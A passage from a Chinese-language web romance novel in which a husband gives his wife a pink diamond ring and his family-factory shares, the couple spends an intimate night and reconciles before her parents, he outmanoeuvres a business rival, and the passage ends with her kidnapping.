在船头头开心的拆礼物。
各种各样的首饰,蓝宝石胸针,钻石发夹,红宝石手链,钻石项链,应有尽有。
里面还有一个最重磅的,用蓝色纸盒装着。
杭景妍打开蓝色包装,里面是蓝色丝绒盒子,她打开它,一抹粉色彩光跃入眼睑。
她下意识闭上眼,缓过来以后,缓缓睁开双眼,面前是三克拉圆形粉钻,外围镶嵌一圈白钻,似花朵状。
她吃惊地抬头望着眼前的男人,好似要确认什么。
男人接过她手中的礼盒,拿出粉钻戒指,执起她的手,带上她左手中指。
女人细白如柔夷的手指上点缀着粉色光芒,一瞬间苍穹星昴都为之失色。
凌栖珵端详着他的杰作,赞赏道:“很美,妍妍果然是最配它的人。”
杭景妍知道,粉钻稀有,而切割成圆形的粉状更稀有。一般情况下,为了保持稀有的粉钻,都会切割成水滴形或者祖母绿形,舍得切成圆状的,定是下的血本,因此更难见。
“找这样一颗粉钻用了很久吧。”
“嗯,我想我的妻子,一定得配上最好的。”
“谢谢。”杭景妍由衷感谢的他。
“还有一个东西送你。”
“嗯?还有?”
“不过在你的房间里,你得跟我去房里看了。”
“好吧。”
凌栖珵把船划回去,带人回房。
他来到床前,打开床头柜,从床头柜里抽出了一份文件。送到女人面前:“打开看看。”
杭景妍疑惑地打开文件,这是一份转让文件。上面写着凌栖珵持有杭家原料厂的文件,无条件转让给杭景妍所有。
下面有些他的亲笔签名,凌栖珵三个大字龙飞凤舞,又透着劲道。
下面一个签名栏是空的,就等着她签字确认。
男人拿笔给她,道:“签下你的名,它就属于你所有。”
杭景妍眼含热泪:“你确定吗?确定要放弃你好不容易谋划来一切。”
“在我看来,所有的东西,都没有你重要,有你,我便拥有一切。”
杭景妍也不推脱,接过笔,快速签字。
两个人的名字,并排在一起。
一个狂隽,一个清秀。
杭景妍签完字,跳上来搂着男人的脖子。吻他。
男人身上清冷的松林味缠绕着她,顿感安全舒心。
她再次吻上男人清冷的唇瓣,辗转吸吮。
“你送了那么大的礼,我该如何报答你?”
“听凭老婆的吩咐。”
“那就肉尝吧。”杭景妍加深这个吻,舌勾着他的舌,与她嬉戏。一边吻一边解他的衣领。
男人从善如流,顺着他的动作脱掉了上衣。
八块腹肌露出来,杭景妍摸着,觉得硬邦邦的,顿时想摆烂。
这时,男人不再由着她,开始反客为主,抓着他纤细的小手放在皮带上。
柔声轻哄,嗓音沙哑:“妍妍,解开它。”
女人的手在男人的操控下,鬼使神差地,只听到,盯的一声,皮带解开的声音。
杭景妍脸已经红成熟透的虾子,她不敢再往下看,转脸望着阳台,想逃离这处境。
“那个,我还是洗澡先。”
男人把人打横抱起,放在了床上。
杭景妍只觉得一瞬天旋地转,已经躺在了他身下。
男人吻上她的耳锤,轻柔啃噬着,刺激她泛起阵阵颤栗,他在耳边吐气如兰:“宝贝,火是你挑起,怎能随便逃跑,澡,等下再洗也是一样。”
凌栖珵轻吻她耳后,脖颈,而后一路向下。
突然,杭景妍觉得一阵白光充上大脑,瞬间失神,她下意识抓住身旁枕头抵抗着。
久久不能平息。
她这幅模样取悦了男人,他勾唇微笑,“现在该我了。”
月色朦胧透过轻纱照耀进卧室,杭景妍觉得月色浸得身上微凉,摇晃成一地破碎倒影。
在暗夜苍穹中,缓缓坠落,随着水波摇曳沉没。
清晨,窗头的鸟鸣吵醒了沉睡中的女人。
杭景妍努力睁开沉重的眼皮,下意识挪动身体,彻骨的酸疼直冲大脑,她不禁嘤嘀出声,全身简直像是被车轮碾过似的疼痛。
她气不打一出来。伸脚踢了身旁搂着她的男人一脚,狗男人真是太没有节制了。昨天她都已经低声求饶了,还不放过她,抓着她来了一遍又一遍。太过分了!
男人感到疼痛,悠悠转醒,迷迷糊糊地吻着她侧脸,“怎么了,还疼吗?”
杭景妍一动便疼得倒吸一口冷气,“都怪你,疼死了。”
杭景妍一把推开男人搂着他的臂膀,起身,找药膏,蚕丝被从她肩上滑落,露出她雪白的双肩,莹白的肌肤上透着一片片红痕,透露昨晚的疯狂。
她从床头柜里拿出清凉消肿的药膏给自己涂上。
男人接过她手中的药,欲替她涂抹,杭景妍生气地抢过药膏,道:“起开,今天不许你再碰我。”
男人无奈一笑,纵容她强词夺理。
“昨天谁提议要报答我的?今天吃干抹尽,便翻脸不认人了。”
“是谁吃干抹净?是你,我都快被你弄散架了,得了便宜还卖乖!”
“是是,一切都是为夫的错,都是我得了便宜还卖乖。”
“知道就好!”杭景妍嗔怪瞟他一眼。
“为夫帮忙抹药,将功赎罪,可否?”
“不行,谁知道你借着涂药干什么事。”
“那可否请娘子竟然只为为夫上药。”
杭景妍疑惑:“你哪里需要上药?受伤的是我。”
凌栖珵转身,露出后背,男人光洁的后背后赫然交错着一条条抓痕。
是女人指甲划过的痕迹。乍一看过去,触目惊心。
估计是她昨天到极致难奈时抓的,她心疼扶着男人的伤痕,道:“疼吗?”
“宝贝,帮我上药便不疼了。”
杭景妍左看看右看看,男人身上的伤痕跟她的不一样,药也不同,他的药放在一旁茶几下面的盒子中。她全身酸痛,才懒得去哪里给他拿药。
直接给他后背来一掌,“药在茶几下的柜子里,自己去找来擦,把我弄的一身伤。还想要我伺候你,想得美。”
“嘶。”凌栖珵不禁痛呼,“谋杀亲夫,把我弄坏了,你以后还用不用?”
“坏了活该,你坏了我找别人去。”
男人突然搂过她,吻上她的唇,强势掠夺着她的呼吸,直至她快喘不上气,举着小手锤他,才放开人,鼻尖对着鼻尖,喘气,“这张小嘴,总是说出我不想听的话,真想堵住它。”
杭景妍被吻得气喘吁吁,但嘴上不饶人:“怎么,用完就开始卸磨杀驴了?”
“我怎么舍得,疼你都来不及。”男人拇指轻揉抚过她的唇,起身穿衣服下床拿药,但是后背实在是不顺手。
杭景妍自己抹好药膏,穿上衣服,坐在男人身后,接过他手中的碘酒,帮他涂抹伤处。
“谢谢老婆。”凌栖珵觉得碘酒的清凉透过伤口丝丝渗入,降低了疼痛,清爽不已。
两人处理好伤,各自去洗漱
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,才去饭厅吃早饭。
饭厅内,杭老爷和杭夫人已经在了。见小两口手牵着手过来,这段日子悬着的心,终于放下。
在爸妈面前秀恩爱杭景妍有点羞涩,想放开男人的手,没想到他抓得紧紧的,不给她逃脱的机会。
拉着她来到桌前,给她拉开椅子,让她坐下才坐到她身旁,拒绝了身旁下人的伺候亲自给她舀粥。
“看样子,你们俩是和好如初了。如此,我便放心了。你上次突然跑回家说要离婚,真把我吓坏了,离婚哪是那么容易,说离就离,夫妻两有什么矛盾,还是要好好沟通。”杭夫人敦敦教诲。
凌栖珵给妻子面子,替她应下了话,“母亲说得是,这次是我处事不周让二老费心了。”
“没什么,我和老爷就景妍一个孩子,为她费心是应该的,景妍平时在家里我们难免娇纵,栖珵你当丈夫的希望你多多担待。”
“我会的,这是我的责任。”凌栖珵一边给景妍夹菜一边道。
“爸,栖珵把持有的家里的股份转给我了。”杭景妍对父亲坦白。
杭正则点头:“栖珵已经跟我说了,家里就你一个女儿,你也快毕业了,以后也要熟悉家里的业务,得到这些股份也要为家里尽心才是。”而后他又问女婿:“你现在大规模转让股份,会不会让你弟弟有机可乘?”
“岳父放心,他那些小伎俩,翻不起什么浪,他做的这些只不过是想要我们两家离心离德,好卸掉我的一只臂膀。”
“即为婚姻之亲,当然同心同德,同进同退。”
”谢谢岳父的支持。”
一旁的杭景妍听了他们两的聊天,综合这段时间他们遇到的事情,明白了缘由,这一切都是凌栖珩在搞鬼,联合杨洛漪是希望两人闹掰,凌栖珵能失去杭家的助力,甚至反击他,这样他便腹背受敌。
但是她想不明白的是,杨洛漪这么做是为何?她要这样搞她深爱的男人,难道为了得到他,宁愿毁了他的一切,这种爱也太畸形了吧。
她顿时有点心疼她男人了,她在桌子底下握住他的手,仿佛这样就能给他力量。
凌栖珵感到手心的暖意,回望她。
杭景妍稍稍往他那边倾斜,用只有两个人的声音道:“我会一直陪在你身边。”
凌栖珵用力回握住她的手,这一刻他觉得充满了力量。
凌氏,
凌栖珵刚刚来到办公室,便听到之前排出去的密探回报,凌栖珩正在跟刘总接洽,想通过刘总的线接洽洋人,截流他们凌氏的代理权。
密探把刘总的资料给了他,并把调查道的把柄一块给了过去。
刘总之前走私了一批香烟,贿赂了海关总署的廖局长才相安无事,您看。
凌栖珵接过资料随意翻了两下,扔在了桌面上,“这个刘总,我之前和他打过交道,人不老实,贪心不足蛇吞象,打主意打到我凌氏上来了。”
他轻蔑一笑。
一通电话打到了林次长那里。
一通寒暄,便把廖局的罪证交了上去。
果然不出两天,凌栖珵便在报纸上看到了刘总和廖局长锒铛入狱的新闻。
这个刘总旗下的厂子自然被凌栖珵吸收。
凌栖珵斩断了凌栖珩的后路,等着他跟他硬碰硬。
然而,让他没想到的是,人家不想跟他硬碰硬。
这天他刚下班,准备去接景妍和她一起回家。刚准备走出办公室门口,桌上的电话想起。
他眉头微蹙,谁在这个下班点打电话来,他上前接起,电话传来静冉的哭声:“凌公子,不好了,我跟景妍放学刚刚走出学校,不知从哪里跑出来一群人,把景妍绑上汽车,不知开往何处去了。”